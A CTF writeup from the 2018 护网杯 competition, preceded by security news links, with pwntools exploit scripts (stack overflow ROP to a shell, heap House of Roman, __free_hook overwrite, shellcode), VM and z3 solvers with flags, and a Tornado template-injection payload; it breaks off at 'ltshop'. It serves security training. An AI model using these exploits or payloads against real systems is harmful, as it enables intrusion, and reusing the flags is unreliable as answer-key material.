<https://www.twistlock.com/2017/06/25/alpine-linux-vulnerability-discovery-code-execution-pt-1-2/>
NTFS：Forensics Malware and vulnerabilities
<https://drive.google.com/file/d/0B3P18M-shbwrM1E2V24tTVFUU3M/view>
Intel Skylake/Kaby Lake 处理器存在超线程bug
<https://lists.debian.org/debian-devel/2017/06/msg00308.html>
通过NSynth生成你自己的声音
<https://magenta.tensorflow.org/nsynth-fastgen>
T00LS帖子正文XSS
[http://mp.weixin.qq.com/s?timestamp=1498440914&src=3&ver=1&signature=qqRavynQN6fIkjX4rhKfPCGw7bzxVIqDR5F2FUNVIco6OnVuQY1Eu4XQNMj19g-L-IEZE9koFQUYqJ3*EFOz77gs4Qe8KjkqL56G2VY-MZ9KWvqxPr2U5v3rZa-DwG9YufHzSSPRPs7VuSdBn0seGankkXBiDWbu0AntZg7-WLU=](http://mp.weixin.qq.com/s?timestamp=1498440914&src=3&ver=1&signature=qqRavynQN6fIkjX4rhKfPCGw7bzxVIqDR5F2FUNVIco6OnVuQY1Eu4XQNMj19g-L-IEZE9koFQUYqJ3*EFOz77gs4Qe8KjkqL56G2VY-MZ9KWvqxPr2U5v3rZa-DwG9YufHzSSPRPs7VuSdBn0seGankkXBiDWbu0AntZg7-WLU=)
apparatus：IOT安全分析框架
<http://seclist.us/apparatus-is-a-security-framework-to-facilitate-security-analysis-in-iot-systems.html>
Sophisticated Cobalt Strike Gang's CVE-2017-0199 Loader
<http://www.vkremez.com/2017/06/lets-learn-diy-sophisticated-cobalt.html>
Tomcat 源代码调试笔记 – 看不见的 Shell
<https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw>
pwn Vivotek 的网络摄像头
<https://blog.cal1.cn/post/An%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras>
Cisco Prime Infrastructure 3.1.6 XXE Injection / XSS / LFD / SQL Injection
<https://cxsecurity.com/issue/WLB-2017060185>
Blind SQL Injection Attacks
<https://www.exploit-db.com/docs/42209.pdf> | 社区文章 |
# 2018护网杯线上赛writeup by 天枢
author: 天枢
## Pwn
### huwang
emmmm，只有666功能里面有用，里面会打开一个文件，然后写随机数进去，而在md5的时候，会先清空文件内容，然后再将md5之后的数据写入到文件中，如果这时候给个-1程序就会超时，自动杀死自己，结果导致文件内容为空，这样就可以预测，剩下的就是一个栈溢出了。。。。
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def sixsixsix(p, name, rd, secret, flag = 1):
p.recvuntil('>> \n')
p.sendline('666')
p.recvuntil('name\n')
p.send(name)
p.recvuntil('secret?\n')
p.sendline('y')
p.recvuntil('secret:\n')
p.sendline(str(rd))
if flag == 1:
p.recvuntil('secret\n')
p.send(secret)
def GameStart(ip, port, debug):
if debug == 1:
p = process('./huwang')
else:
p = remote(ip, port)
sixsixsix(p, 'w1tcher', -1, 'w1tcher', 0)
p.recvuntil('timeout~')
if debug == 1:
p = process('./huwang', env = {'LD_PRELOAD' : './libc.so.6'})
gdb.attach(p, 'b *0x040110D\nc')
else:
p = remote(ip, port)
libc = ELF('./libc.so.6')
sixsixsix(p, 'w1tcher'.ljust(0x19, 'a'), 1, '4ae71336e44bf9bf79d2752e234818a5'.decode('hex'))
p.recvuntil('w1tcher'.ljust(0x19, 'a'))
canary = u64('\x00' + p.recvn(7))
p.recvuntil('occupation?\n')
p.send('a' * 0xff)
p.recvuntil('[Y/N]\n')
p.sendline('Y')
shellcode = 'a' * 0x108 + p64(canary) + p64(0)
shellcode += p64(0x0000000000401573) + p64(0x0602F70) + p64(0x40101C)
p.send(shellcode)
p.recvuntil('Congratulations, ')
libc_addr = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['puts']
p.recvuntil('occupation?\n')
p.send('a' * 0xff)
p.recvuntil('[Y/N]\n')
p.sendline('Y')
shellcode = 'a' * 0x108 + p64(canary) + p64(0)
shellcode += p64(0x0000000000401573) + p64(next(libc.search('/bin/sh')) + libc_addr) + p64(libc_addr + libc.symbols['system'])
p.send(shellcode)
p.interactive()
if __name__ == '__main__':
GameStart('117.78.26.79', 31399, 1)
### calendar
官方提示House of Roman，但是，你为啥不提示一下libc呢？
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(p, index, size):
p.recvuntil('choice> ')
p.sendline('1')
p.recvuntil('choice> ')
p.sendline(str(index + 1))
p.recvuntil('size> ')
p.sendline(str(size))
def edit(p, index, size, data):
p.recvuntil('choice> ')
p.sendline('2')
p.recvuntil('choice> ')
p.sendline(str(index + 1))
p.recvuntil('size> ')
p.sendline(str(size))
p.recvuntil('info> ')
p.send(data)
def remove(p, index):
p.recvuntil('choice> ')
p.sendline('3')
p.recvuntil('choice> ')
p.sendline(str(index + 1))
def get_base(p):
with open('/proc/' + str(pidof(p)[0]) + '/maps') as f:
data = f.read()
with open('/proc/' + str(pidof(p)[0]) + '/environ') as f:
environ = f.read()
if 'LD_PRELOAD' not in environ:
libcPath = os.readlink('/')
else:
libcPath = 'libc.so.6'
libcBase = -1
if libcBase < 0:
for i in data.split('\n'):
if libcPath in i and 'r-xp' in i:
libcBase = int(i[ : i.index('-')], 16)
break
return libcBase
def GameStart(p):
# if debug == 1:
# p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
# gdb.attach(p, '\nc')
# else:
# p = remote(ip, port)
p.recvuntil('e> ')
p.sendline('w1tcher')
libc_base = 0xb42000
# libc_base = get_base(p) & 0xfff000
log.info('libc base is : ' + hex(libc_base))
malloc_hook = 0x3c4b10
# one_gadget = 0x45216
# one_gadget = 0x4526a
# one_gadget = 0xf02a4
one_gadget = 0xf1147
add(p, 0, 0x68)
add(p, 0, 0x68)
add(p, 0, 0x18)
add(p, 1, 0x60)
add(p, 2, 0x60)
add(p, 2, 0x60)
edit(p, 0, 0x18, '\x00' * 0x18 + '\xe1')
remove(p, 1)
add(p, 0, 0x60)
add(p, 1, 0x60)
edit(p, 0, 2, p64(libc_base + malloc_hook - 0x23)[0 : 3])
remove(p, 1)
remove(p, 2)
edit(p, 2, 1, '\n')
add(p, 1, 0x60)
add(p, 0, 0x60)
add(p, 0, 0x60)
remove(p, 1)
edit(p, 1, 7, p64(0))
add(p, 1, 0x60)
add(p, 1, 0x60)
add(p, 1, 0x40)
edit(p, 1, 0x40 - 1, p64(0) * 6 + p64(0) + p64(0x71))
add(p, 1, 0x60)
edit(p, 1, 0x60 - 1, p64(0) * 8 + p64(0x50) + p64(0x20) + p64(0) + p64(0x71))
add(p, 2, 0x60)
add(p, 3, 0x60)
remove(p, 3)
remove(p, 2)
edit(p, 2, 1, '\n')
add(p, 2, 0x60)
add(p, 2, 0x60)
edit(p, 2, 0x10 - 1, p64(0) + p64(0xe1))
remove(p, 1)
edit(p, 2, 0x1b - 1, p64(0) + p64(0x51) + p64(0) + p64(libc_base + malloc_hook - 0x10)[0 : 3])
add(p, 3, 0x40)
edit(p, 0, 0x16 - 1, '\x00' * 0x13 + p64(libc_base + one_gadget)[0 : 3])
add(p, 3, 0x40)
p.sendline('cat flag')
p.sendline('cat flag')
p.sendline('cat flag')
p.interactive()
if __name__ == '__main__':
debug = 0
while True:
try:
if debug == 1:
p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
# gdb.attach(p, '\nc')
else:
p = remote('117.78.40.144', 31274)
GameStart(p)
except Exception as e:
# raise e
p.close()
### gettingstart
签到题
from pwn import *
p = remote('117.78.40.144', 32671)
#p = process('task_gettingStart_ktQeERc')
p.send('a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
p.interactive()
### shoppingcart
在edit功能存在一个整数溢出，和一个off-by-one
首先申请并释放得到unsorted bin，再malloc(0)，就可以泄露main _arena+344的地址
可以申请多个money，然后编辑最后一个money，可以null-off-by-one给最后一个指针
最后一个指针落到fgets的缓冲区中.通过fgets输入，预置好null-off-by-one的位置指向\__free_hook
就可以将其改为system，触发free就可执行 system("/bin/sh")
emmmm 远程和本地的fgets块大小不一样，有点伤，试了好久。。。
from pwn import *
import time
debug=1
lib = 0
if lib==0:
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
offset = 0x230
one_gadget = [0x45216,0x4526a,0xf0274,0xf1117]
else:
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
offset = 0x260
one_gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
context.log_level = 'debug'
elf = ELF('./task_shoppingCart')
if debug:
p= process('./task_shoppingCart')#,env={'LD_PRELOAD' :libc_name})
libc = ELF(libc_name)
else:
p = remote( '117.78.26.133', 31666)#process('./pwn1')
libc = ELF(libc_name)
offset = 0x230
def add(size,name):
p.recvuntil("Now, buy buy buy!")
p.sendline('1')
p.recvuntil("name?")
p.sendline(str(size))
p.recvuntil("What is your goods name?")
p.send(name)
def delete(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('2')
p.recvuntil("Which goods that you don't need?")
p.sendline(str(idx) )
def edit(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.sendline(str(idx))
def edit_vul(context):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.send(context)
if debug:
attach(p)
for i in range(0x13):
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('a'*8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('b'*8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')
add(0x100,'p4nda') #0
add(0x70,'/bin/sh\0') #1
delete(0)
add(0,'')#2
edit(2)
p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8,'\0'))
libc.address = libc_addr- 0x10 - 344 -libc.symbols['__malloc_hook']
p.send('p4nda')
print '[+] leak',hex(libc_addr)
print '[+] system',hex(libc.symbols['system'])
edit( (0x202140+19*8 - 0x2021E0 )/8 &0xffffffffffffffff )
p.recvuntil('to?')
p.send('d'*8)
payload = (str((0x202140 - 0x2021E0 )/8 &0xffffffffffffffff)+'\n')
payload+= (str(2)+'\n')
payload+= (str(1)+'\n')
if debug:
payload = payload.ljust(0x1000-0x20,'a')
payload+= p64(libc.symbols['__free_hook'])
else:
payload = payload.ljust(0x100,'a')
payload+= p64(libc.symbols['__free_hook']) * 0x60
edit_vul(payload)
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))
p.interactive()
### six
说来也巧，好像原题是云贵铁三赛的PWN，由七字节的shellcode变成六字节的shellcode，其他都没有变化。
恰好当时在看雪的PWN板块和别人讨论过这题，直接就用了EXP：<https://bbs.pediy.com/thread-227100.htm>
题目有个坑点就是mmap的地址是urandom来的，但是不满足mmap要求时，会随机分配这个地址，申请两块同样大小的mmap内存时，当随机分配时二者相邻，且用作栈的地址是低地址。
shellcode运行时，将所有寄存器置0，用rsp就好了，从rsp一直覆写直到当前的rip的位置，写入拿shell的代码就可以了。
手速太慢拿了二血，不知道一血是不是和我讨论的那位师傅...
from pwn import *
#p =process('./six')
p=remote('117.78.26.97', 32200)#process('./seven')
#gdb.attach(p)
p.readuntil('shellcode:')
payload=chr(0x54)+chr(0x5e)+chr(0x8b)+chr(0xd6)+chr(0x0F)+chr(0x05)
p.send(payload)
z=[
0xB8, 0x3B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xFE, 0x48, 0x81, 0xC7, 0x4e, 0x0B, 0x00, 0x00, 0x4b, 0x48,0x33, 0xD2, 0x48,
0x33, 0xF6, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00]
zz=''
for i in range(0,len(z)):
zz+=chr(z[i])
payload='b'*0xb36+zz
p.writeline(payload)
p.interactive()
## Reverse
### rerere
简单VM逆向，通过分析VM代码，VM中要求输入长度为48，输入要求为[0-9A-F]，每八个输入为一组进行check，比较值分别为
1672866348, 529818966, 1598735994, 2944977842, 1822759997, 4182965321
最终flag为 flag{94CF259FD3C15AC62BBC88FAA76CA4F5655649F1C2AE5B36}
VM脚本如下
opcode = '\x4f\x00\x00\x00\x2f\x55\x05\x54\x30\x46\x00\x47\x22\x48\x02\x4b\x33\x49\x4f\x00\x00\x00\x46\x54\x10\x48\x01\x4d\x27\x4f\x00\x00\x00\x30\x54\x10\x48\x01\x44\x16\x4f\x00\x00\x00\x39\x54\x10\x48\x01\x44\x0b\x4f\x00\x00\x00\x41\x54\x01\x48\x01\x44\x06\x47\x00\x48\x00\x4b\x05\x47\x00\x50\x00\x43\x55\x40\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x63\xb5\xea\x2c\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x1f\x94\x65\x56\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x5f\x4a\xc6\x7a\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\xaf\x88\xcb\xb2\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\x6c\xa5\x1c\x3d\x54\x20\x48\x12\x47\x00\x4b\x03\x50\x00\x43\x4f\x00\x00\x00\x07\x54\x30\x47\x11\x56\x46\x00\x4f\x00\x00\x00\x30\x54\x20\x59\x02\x4f\x00\x00\x00\x0a\x54\x20\x48\x02\x44\x09\x4f\x00\x00\x00\x07\x54\x20\x59\x02\x4f\x00\x00\x00\x10\x54\x20\x58\x12\x53\x10\x55\x2b\x4f\xf9\x52\xfc\x49\x54\x20\x48\x12\x47\x00\x4b\x02\x50\x00\x43\x00'
ans = []
for i in opcode:
ans.append(ord(i))
opcode = ans[:]
eax = 0x498ec0
ecx = 0
edx = 0
ebx = 0
zflag = 0
input = '94CF259F'+'D3C15AC6'+'2BBC88FA'+'A76CA4F5'+'655649F1'+'C2AE5B36'
print input
ans = []
for i in input:
ans.append(ord(i))
input = ans[:]
index = 0
stack = []
eip = 0
l = []
def fetchNum1():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
t = opcode[eip+1]&0xf
if t == 0:
return 'eax',eax
elif t == 1:
return 'ecx',ecx
elif t == 2:
return 'edx',edx
elif t == 3:
return 'ebx',ebx
elif t == 4:
return 'zflag',zflag
else:
return '0',0
def fetchNum2():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
t = opcode[eip+1]>>4
if t == 0:
return 'eax',eax
elif t == 1:
return 'ecx',ecx
elif t == 2:
return 'edx',edx
elif t == 3:
return 'ebx',ebx
elif t == 4:
return 'zflag',zflag
else:
return '0',0
def mov(a1):
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
t = opcode[eip+1]>>4
if t == 0:
eax = a1
return 'eax'
elif t == 1:
ecx = a1
return 'ecx'
elif t == 2:
edx = a1
return 'edx'
elif t == 3:
ebx = a1
return 'ebx'
def jmpback():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
if zflag==-1:
print 'zflag == -1, eip += %d = %d'%(opcode[eip+1]+2,eip+opcode[eip+1]+2)
eip += opcode[eip+1]+2
else:
print 'zflag != -1, eip += 2 =%d'%(eip+2)
eip += 2
def notequaljmp():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
if zflag!=0:
eip += 2
print 'zflag !=0 eip+=2 = %d'%eip
else:
eip += opcode[eip+1]+2
print 'zflag ==0 eip += %d = %d'%(opcode[eip+1]+2,eip)
def equaljmp():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
if zflag == 1:
eip += opcode[eip+1]+2
print 'zflag == 1 eip += %d = %d'%(opcode[eip+1]+2,eip)
else:
print 'zflag != 1 eip += 2 = %d'%(eip)
eip += 2
def jmpupper():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
if ebx!=0 :
ebx = ebx-1
eip -= opcode[eip+1]
print 'ebx(%x)!=0 eip-=%d = %d'%(ebx,opcode[eip+1],eip)
else:
eip += 2
print 'ebx==0 eip += 2 = %d'%eip
def mod():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,divider = fetchNum1()
op2,dividend = fetchNum2()
mov(dividend%divider)
print 'mod %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend%divider)
eip += 2
def movinput():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op = mov(input[index])
print 'mov %s,input[%d](%x)'%(op,index,input[index])
eip += 2
def xor():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,divider = fetchNum1()
op2,dividend = fetchNum2()
mov(dividend^divider)
print 'xor %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend^divider)
eip += 2
def cmp():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v2 = fetchNum1()
op2,v3 = fetchNum2()
if v3==v2:
zflag = 0
elif v3 < v2:
zflag = -1
elif v3 > v2:
zflag = 1
print 'cmp %s(%x),%s(%x) zflag = %d'%(op2,v3,op1,v2,zflag)
eip += 2
def inc_input():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
index += 1
print 'index += 1 = %d'%(index)
eip += 1
def v_and():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,divider = fetchNum1()
op2,dividend = fetchNum2()
mov(dividend÷r)
print 'and %s(%x),%s(%x) = %d'%(op2,dividend,op1,divider,dividend÷r)
eip += 2
def xor66():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
print 'xor66 called'
i = 0
while i<16:
opcode[i] ^= 0x66
opcode[i+1] ^= 0x66
opcode[i+2] ^= 0x66
opcode[i+3] ^= 0x66
opcode[i+4] ^= 0x66
i += 5
eip += 16
def dec():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum2()
mov(v3-1)
print 'dec %s(%x) = %d'%(op1,v3,v3-1)
eip += 2
def pushimm():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index,l
data = opcode[eip+4]+(opcode[eip+3]+(opcode[eip+2]+(opcode[eip+1]<<8)<<8)<<8)
stack.append(data)
print 'push imm %x'%data
l.append(data)
eip += 5
def inc():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum2()
mov(v3+1)
print 'inc %s(%x) = %d'%(op1,v3,v3+1)
eip += 2
def v_mov():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum1()
op2 = mov(v3)
print 'mov %s,%s'%(op2,op1)
eip += 2
def pushreg():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum2()
stack.append(v3)
print 'push reg %s(%x)'%(op1,v3)
eip += 2
def add():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum1()
op2,v4 = fetchNum2()
mov((v3+v4)&0xffffffff)
print 'add %s(%x),%s(%x) = %x'%(op2,v4,op1,v3,v3+v4)
eip += 2
def popreg():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1 = mov(stack.pop())
print 'pop %s'%op1
eip += 2
def dec_input():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
index -= 1
print 'index -= 1 = %d'%(index)
eip += 1
def reg2input():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum2()
input[index] = v3
print 'input[%d] = %s(%x)'%(index,op1,v3)
eip += 2
def mul():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum1()
op2,v4 = fetchNum2()
mov((v3*v4)&0xffffffff)
print 'mul %s(%x),%s(%x) = %x'%(op2,v3,op1,v4,v3*v4)
eip += 2
def sub():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
op1,v3 = fetchNum1()
op2,v4 = fetchNum2()
mov((v4-v3)&0xffffffff)
print 'sub %s(%x),%s(%x) = %x'%(op2,v4,op1,v3,v4-v3)
eip += 2
def inc_eip():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
print 'inc_eip called'
eip += 1
def vm():
global eax,ecx,edx,ebx,zflag,input,stack,eip,opcode,index
while True:
if opcode[eip]==0x43:
return
elif opcode[eip] == 0x44:
jmpback()
elif opcode[eip] == 0x45:
mod()
elif opcode[eip] == 0x46:
movinput()
elif opcode[eip] == 0x47:
xor()
elif opcode[eip] == 0x48:
cmp()
elif opcode[eip] == 0x49:
inc_input()
elif opcode[eip] == 0x4a:
v_and()
elif opcode[eip] == 0x4b:
notequaljmp()
elif opcode[eip] == 0x4c:
xor66()
elif opcode[eip] == 0x4d:
equaljmp()
elif opcode[eip] == 0x4e:
dec()
elif opcode[eip] == 0x4f:
pushimm()
elif opcode[eip] == 0x50:
inc()
elif opcode[eip] == 0x51:
v_mov()
elif opcode[eip] == 0x52:
pushreg()
elif opcode[eip] == 0x53:
add()
elif opcode[eip] == 0x54:
popreg()
elif opcode[eip] == 0x55:
jmpupper()
elif opcode[eip] == 0x56:
dec_input()
elif opcode[eip] == 0x57:
reg2input()
elif opcode[eip] == 0x58:
mul()
elif opcode[eip] == 0x59:
sub()
else:
eip += 1
vm()
print l
### APM233
题目共有四个level,同时题目中包含大量的混淆与try catch，逆向起来非常恶心
level 1，简单比较，将输入与程序内置的字符串进行比较，值为 1d2e3c4a
level 2， 将输入通过sscanf("%x")进行输入，置入Dr0~3中，在程序中使用多项式运算进行check，多项式如下
Dr0 + Dr1 = 0x899a9d9c
Dr1 + Dr2 = 0x797aa9ab
Dr2 + Dr3 = 0x272885bc
Dr3 - Dr0 = 0xf0e0fbcf
最终计算结果为 efbe3323adde6666feca1313beba1414
level 3，
检测程序是否处于被调试状态以及是否在虚拟机中运行，比较的目标字符串的值与调试状态以及是否在虚拟机中有关，从中筛选出正确的值以及不断的尝试，得到level3的结果为
0acb7935481efc12
level 4， 最后一关为一个小游戏，玩家与三个AI进行游戏，要求玩家的位置不能与三个AI重合，玩家每次的可走的步数为1-4，AI的行动路线如下所示
a1 = [4, -1, 6, -1, 3, 2, 4, 1, 3, -1, 5, 1, 2, -1, 5, 1, 3, -2, 7, 0, 2, 3,
5, 0, 5, 0, 5, 2, 1, -2, 6, -1, 3, 3, 4, 0, 5, -1, 6, 0, 4, 0, 7, 0, 5, -2, 7,
2, 2, -1, 6, 2, 2, 1, 5, 0, 2, 0, 3, 0, 4, 0, 6, -1, 5, 0, 5, 3, 0, 5, 3, 2]
a2 = [2, 2, 3, 3, 3, -2, 7, 1, 1, 1, 5, 1, 0, 2, 5, 1, 0, 0, 4, 0, 7, 2, 2, 0,
4, 1, 3, 4, 0, 1, 6, -1, 5, -1, 3, 5, 1, 2, 5, 0, 5, 0, 2, 5, 1, 1, 5, 2, 2,
1, 2, 3, 5, -1, 4, 1, 2, -1, 7, 1, 2, 2, 1, 2, 5, 0, 5, 0, 5, -1, 3, 2]
a3 = [3, -1, 6, -1, 5, 0, 4, 0, 2, 5, 0, 5, 1, -1, 5, 1, 0, 2, 4, 0, 5, 0, 4,
0, 6, -1, 6, 1, 2, 1, 3, 3, 2, 3, 3, 0, 5, -1, 4, 0, 6, 0, 5, 0, 5, 1, 2, 2,
3, 0, 5, 5, 0, 0, 6, 2, -1, 1, 5, 1, 0, 3, 4, -1, 4, 5, 0, 2, 5, 1, 4, 1]
通过上述规则，可以得到玩家的路线为
[1, 4, 1, 3, 1, 4, 1, 2, 2, 3, 2, 1, 1, 4, 1, 1, 1, 4, 1, 4, 2, 3, 1, 4, 1, 4,
2, 1, 1, 4, 1, 3, 2, 3, 2, 3, 1, 4, 1, 4, 1, 4, 2, 3, 1, 4, 2, 2, 1, 4, 3, 2,
1, 4, 1, 1, 1, 4, 1, 2, 2, 3, 1, 4, 2, 3, 2, 3, 2, 3, 2, 3]
玩家的行动由输入b64encode后再将编码后的结果拆为两两一组
由下面的代码可以讲上面的路线逆向为用户应有的输入（路线需要全部-1）
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ans = ''
for i in xrange(0,len(choice),3):
t = (choice[i]<<4) + (choice[i+1]<<2) + choice[i+2]
print t,
ans+=b64[t]
print
print ans
print b64decode(ans)
最终得到结果 21d03c42f365901cff
全部输入给程序得到flag为 flag{N0t_d1ff1cul7_r1ght?_3d34e}
level2 与 level4 的脚本如下：
from z3 import *
from pwn import *
from base64 import b64decode,b64encode
def level2():
s = Solver()
Dr0 = BitVec('Dr0',32)
Dr1 = BitVec('Dr1',32)
Dr2 = BitVec('Dr2',32)
Dr3 = BitVec('Dr3',32)
s.add(Dr0 + Dr1 == 0x899a9d9c)
s.add(Dr1 + Dr2 == 0x797aa9ab)
s.add(Dr2 + Dr3 == 0x272885bc)
s.add(Dr3 - Dr0 == 0xf0e0fbcf)
print s.check()
m = s.model()
Dr0 = int('%s'%m[Dr0])
Dr1 = int('%s'%m[Dr1])
Dr2 = int('%s'%m[Dr2])
Dr3 = int('%s'%m[Dr3])
ans = '%s%s%s%s'%(p32(Dr0).encode('hex'),p32(Dr1).encode('hex'),p32(Dr2).encode('hex'),p32(Dr3).encode('hex'))
print ans
def level4():
a1 = [4, -1, 6, -1, 3, 2, 4, 1, 3, -1, 5, 1, 2, -1, 5, 1, 3, -2, 7, 0, 2, 3, 5, 0, 5, 0, 5, 2, 1, -2, 6, -1, 3, 3, 4, 0, 5, -1, 6, 0, 4, 0, 7, 0, 5, -2, 7, 2, 2, -1, 6, 2, 2, 1, 5, 0, 2, 0, 3, 0, 4, 0, 6, -1, 5, 0, 5, 3, 0, 5, 3, 2]
a2 = [2, 2, 3, 3, 3, -2, 7, 1, 1, 1, 5, 1, 0, 2, 5, 1, 0, 0, 4, 0, 7, 2, 2, 0, 4, 1, 3, 4, 0, 1, 6, -1, 5, -1, 3, 5, 1, 2, 5, 0, 5, 0, 2, 5, 1, 1, 5, 2, 2, 1, 2, 3, 5, -1, 4, 1, 2, -1, 7, 1, 2, 2, 1, 2, 5, 0, 5, 0, 5, -1, 3, 2]
a3 = [3, -1, 6, -1, 5, 0, 4, 0, 2, 5, 0, 5, 1, -1, 5, 1, 0, 2, 4, 0, 5, 0, 4, 0, 6, -1, 6, 1, 2, 1, 3, 3, 2, 3, 3, 0, 5, -1, 4, 0, 6, 0, 5, 0, 5, 1, 2, 2, 3, 0, 5, 5, 0, 0, 6, 2, -1, 1, 5, 1, 0, 3, 4, -1, 4, 5, 0, 2, 5, 1, 4, 1]
pos1 = 0
pos2 = 0
pos3 = 0
pos4 = 0
choice = []
for i in range(len(a1)):
pos1 += a1[i]
pos2 += a2[i]
pos3 += a3[i]
if (pos4 + 4 != pos1) and (pos4 + 4 != pos2) and (pos4 + 4 != pos3):
t = 4
elif (pos4 + 3 != pos1) and (pos4 + 3 != pos2) and (pos4 + 3 != pos3):
t = 3
elif (pos4 + 2 != pos1) and (pos4 + 2 != pos2) and (pos4 + 2 != pos3):
t = 2
else:
t = 1
pos4 += t
choice.append(t-1)
print choice
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
print choice
ans = ''
for i in xrange(0,len(choice),3):
t = (choice[i]<<4) + (choice[i+1]<<2) + choice[i+2]
print t,
ans+=b64[t]
print
print ans
print b64decode(ans)
# level1 1d2e3c4a
level2() # efbe3323adde6666feca1313beba1414
# level3 0acb7935481efc12
level4() # 21d03c42f365901cff
# flag{N0t_d1ff1cul7_r1ght?_3d34e}
## Web
### easy tornado
报错的地方存在模板注入
http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF
过滤了一堆字符，发现hander可以用，然后读取settings，secret_cookie即可拿到
{{handler.settings}}
然后`md5(cookie_secret + md5(filename))`算出`/fllllllllllag`的hash即可
### ltshop
